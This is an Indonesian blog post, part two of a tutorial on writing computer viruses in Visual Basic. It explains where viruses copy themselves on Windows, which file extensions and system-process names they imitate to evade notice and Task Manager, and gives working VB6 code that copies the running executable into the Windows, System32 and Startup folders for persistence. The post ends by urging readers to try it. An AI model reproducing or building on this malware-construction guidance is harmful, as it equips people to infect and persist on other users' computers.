Telanjangi VB dari Sisi Virus Maker (Part II)

Selasa, 28 Juni 2011

Now…setelah Part I, kita lanjutin ya..setelah baca buku, trus ngoprek dikit, trus lagi browsing. Akhirnya diketuai, eh diketahui..bahwa..

BAB KEDUA

Penggandaan Ke Sistem
Ketika virus dijalankan oleh seseorang maka virus tersebut akan mulai
melakukan aktivitasnya sebagai virus yaitu dengan melakukan penggandaan ke
system computer (Infeksi ke system). Hal ini dilakukan agar virus tetap berada pada
system meskipun sarana media penyebarannya telah dilepas, virus tersebut akan tetap
aktif dengan cara mengaktifkan virus yang ter-copy di system sehingga system benarbenar
telah terinfeksi oleh virus.
Lokasi folder penggandaan virus pada system:

1. Windows (Winnt untuk windows NT)
2. System32 (System untuk windows 9x)
3. Startup
4. Application Data

Lokasi diatas biasanya yang paling sering digunakan oleh virus. Mengapa
harus lokasi tersebut? Karena untuk orang awam lokasi tersebut merupakan lokasi
dimana file nya tidak boleh dihapus, karena hampir semua file yang ada pada folder
tersebut merupakan file penting karena jika terjadi penghapusan terhadap file
diperlukan oleh windows maka windows akan mengalami kerusakan. Dan hal ini
dimanfaatkan oleh virus untuk melindungi dirinya.
Selain lokasi folder virus juga melakukan perubahan extensi untuk menyamar
agar virus tersebut sulit dicari.
Extensi file yang sering digunakan oleh virus pada saat melakukan penggadaan pada
system:

1. EXE
2. SCR
3. COM
4. PIF

Extensi diatas semuanya memiliki cara akses yang sama. Meskipun terjadi
perubahan extensi, virus tersebut tetap akan berjalan dengan normal. SCR digunakan
virus untuk menyamar sebagai Screen Saver sehingga virus tersebut akan aktif jika
Screen Saver aktif. Dan tentunya dengan melakukan sedikit perubahan pada registry
agar virus tersebut menjadi Default pada Screen Saver.
Agar penyamaran sukses virus juga menggunakan penamaan yang hampir
sama dengan file system atau bahkan memang sama hanya saja lokasi file tersebut
yang berbeda.
Penamaan file yang sering digunakan virus pada system:

1. winlogon.exe
2. lsass.exe
3. services.exe
4. csrss.exe
5. smss.exe
6. svchost.exe
7. System
8. taskmgr.exe
9. explorer.exe
10. iexplorer.exe
11. notepad.exe
12. winword.exe

Dengan menggunakan penamaan file seperti itu. Virus tersebut dapat membuat
bingung orang terserang virus tersebut karena mereka tidak tahu apakah file tersebut
benar-benar file system yang asli atau yang palsu (virus).
Penamaan file yang bermasalah pada task manager adalah winlogon.exe,
lsass.exe, services.exe, csrss.exe, smss.exe. Karena file tersebut justru akan
dilindungi oleh task manager sehingga tidak dapat matikan prosesnya oleh task
manager.
Berikut ini adalah kode sederhana untuk melakukan penggandaan ke system
Penggunaan perintah FileCopy:
Code:
FileCopy sumber,tujuan
Code:
Dim lokasi As String
Dim namafile As String
Private Sub Form_Load()
With App
lokasi = .Path & “\”
namafile = .EXEName & “.exe”
End With
FileCopy lokasi & namafile, “C:\virus.exe”
FileCopy lokasi & namafile, “C:\Windows\virus.com”
FileCopy lokasi & namafile, “C:\Windows\virus.pif”
FileCopy lokasi & namafile, “C:\Windows\System32\virus.scr”
End Sub
Dari perintah tersebut kita dapat mengetahui bahwa ketika virus dijalankan maka virus
tersebut akan melakukan penggandaan diri pada drive C:
Code:
C:\virus.exe
C:\Window\virus.com
C:\Windows\virus.pif
C:\Windows\System32\virus.scr
Berikut ini adalah proses penggandaan dengan menggunkan perintah API:
Code:
Private Declare Function CopyFile Lib “kernel32″ Alias “CopyFileA” _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long
Dim lokasi As String
Dim namafile As String
Private Sub Form_Load()
With App
lokasi = .Path & “\”
namafile = .EXEName & “.exe”
End With
CopyFile lokasi & namafile, “C:\virus.exe”, 0
CopyFile lokasi & namafile, “C:\Windows\virus.com”, 0
CopyFile lokasi & namafile, “C:\windows\virus.pif”, 0
CopyFile lokasi & namafile, “C:\windows\system32\virus.scr”, 0
End Sub
Cara penggunaannya hampir sama. Jika kita penggunakan perintah API berarti kita
akan menggunakan perintah yang terhubung langsung dengan Sistem Operasi, tetapi
jika kita menggunakan perintah FileCopy itu berarti kita menggunakan perintah yang
telah disediakan oleh visual basic. Setelah visual basic mengenal perintah perintah
tersebut baru visual basic akan mengirimkan perintah ke system operasi.
Berikut ini adalah kode penggandaan pada tempat-tempat yang dianggap penting oleh
Windows.
Siapkan satu form dengan 5 buah command button dan satu buah module.
Ketikan pada Form1:
Code:
Dim lokasi As String
Dim namafile As String
Dim tujuan As String
Private Sub Command1_Click()
tujuan = GetSpecialfolder(CSIDL_DESKTOP)
CopyFile lokasi & namafile, tujuan & “\” & “virus.exe”, 0
MsgBox tujuan
End Sub
Private Sub Command2_Click()
tujuan = GetSpecialfolder(CSIDL_PERSONAL)
CopyFile lokasi & namafile, tujuan & “\” & “virus.exe”, 0
MsgBox tujuan
End Sub
Private Sub Command3_Click()
tujuan = GetSpecialfolder(CSIDL_STARTUP)
CopyFile lokasi & namafile, tujuan & “\” & “virus.exe”, 0
MsgBox tujuan
End Sub
Private Sub Command4_Click()
tujuan = GetWindowsPath
CopyFile lokasi & namafile, tujuan & “\” & “virus.exe”, 0
MsgBox tujuan
End Sub
Private Sub Command5_Click()
tujuan = GetSystemPath
CopyFile lokasi & namafile, tujuan & “\” & “virus.exe”, 0
MsgBox tujuan
End Sub
Private Sub Form_Load()
With App
lokasi = .Path & “\”
namafile = .EXEName & “.exe”
End With
End Sub

Ketikan pada module:
Code:
Public Declare Function CopyFile Lib “kernel32″ Alias “CopyFileA” _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _
ByVal bFailIfExists As Long) As Long
Public Declare Function SHGetSpecialFolderLocation Lib “shell32.dll” _
(ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib “shell32.dll” Alias _
“SHGetPathFromIDListA” (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib “kernel32.dll” Alias _
“GetSystemDirectoryA” (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib “kernel32.dll” Alias _
“GetWindowsDirectoryA” (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib “kernel32″ Alias _
“CreateDirectoryA” (ByVal lpPathName As String, _
lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Enum SFolder
CSIDL_DESKTOP = &H0 ‘menunjukkan folder virtual yang menyatakan root untuk
‘semua namespace (/Desktop)
CSIDL_PROGRAMS = &H2 ‘menunjukkan folder sistem yang berisi grup program
‘user (/Programs)
CSIDL_CONTROLS = &H3 ‘menunjukkan folder virtual yang berisi ikon-ikon
‘aplikasi Control Panel (/Control Panel)
CSIDL_PRINTERS = &H4 ‘menunukkan folder virtual yang berisi printer-
‘printer yang diinstall (/Printers)
CSIDL_PERSONAL = &H5 ‘menunjukkan folder sistem yang digunakan untuk
‘menyimpan dokumen umum user (/My Document)
CSIDL_FAVORITES = &H6 ‘menunjukkan folder yang berisi item-item favorite
‘user (/Favorites)
CSIDL_STARTUP = &H7 ‘menunjukkan folder yang berisi grup program StartUp
‘user (/Startup)
CSIDL_RECENT = &H8 ‘menunjukkan folder sistem yang berisi dokumen-dokumen
‘yang sering digunakan (/Recent)
CSIDL_SENDTO = &H9 ‘menunjukkan folder yang berisi item menu Send To
‘(/Send To)
CSIDL_BITBUCKET = &HA ‘menunjukkan folder sistem yang berisi objek file
‘pada RecycleBin user (/Recycle Bin)
CSIDL_STARTMENU = &HB ‘menunjukkan folder sistem yang berisi item-item
‘menu Start (/StartMenu)
CSIDL_DESKTOPDIRECTORY = &H10 ‘menunjukkan folder sistem yang dapatkan
‘digunakan untuk menyimpan objek file secara
‘fisik pada desktop
CSIDL_DRIVES = &H11 ‘menunjukkan folder yang berisi segala sesuatu pada
‘komputer lokal (/My Computer)
CSIDL_NETWORK = &H12 ‘menunjukkan folder yang berisi objek link yang
‘kemungkinan ada pda folder virtual My Network Places
‘(/My Network Places)
CSIDL_NETHOOD = &H13 ‘menunjukkan folder yang menyatakan root dari
‘hierarki namespace network (/NetHood)
CSIDL_FONTS = &H14 ‘menunjukkan folder yang berisikan font (/FONT)
CSIDL_TEMPLATES = &H15 ‘menunjukkan folder yang digunakan untuk menyimpan
‘dokumen template (/Template)
End Enum
‘Get special folder
Public Function GetSpecialfolder(JenisFolder As SFolder) As String
Dim r As Long
Dim IDL As ITEMIDLIST
‘get special folder
r = SHGetSpecialFolderLocation(100, JenisFolder, IDL)
If r = NOERROR Then
‘create buffer
Path$ = Space$(512)
‘Get path from IDList(IDL)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
‘Remove chr$(0)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) – 1)
Exit Function
End If
GetSpecialfolder = “”
End Function
‘Get System Path
Public Function GetSystemPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left(Buffer, x) & “\”
End Function
‘Get Windows Path
Public Function GetWindowsPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(Buffer, 255)
GetWindowsPath = Left(Buffer, x) & “\”
End Function
Dengan menggunakan perintah diatas kita dapat membuat kode untuk penggandaan
pada folder yang dianggap penting oleh windows.
Nah..sekian dulu part II..cobain dulu…

0 komentar:

Posting Komentar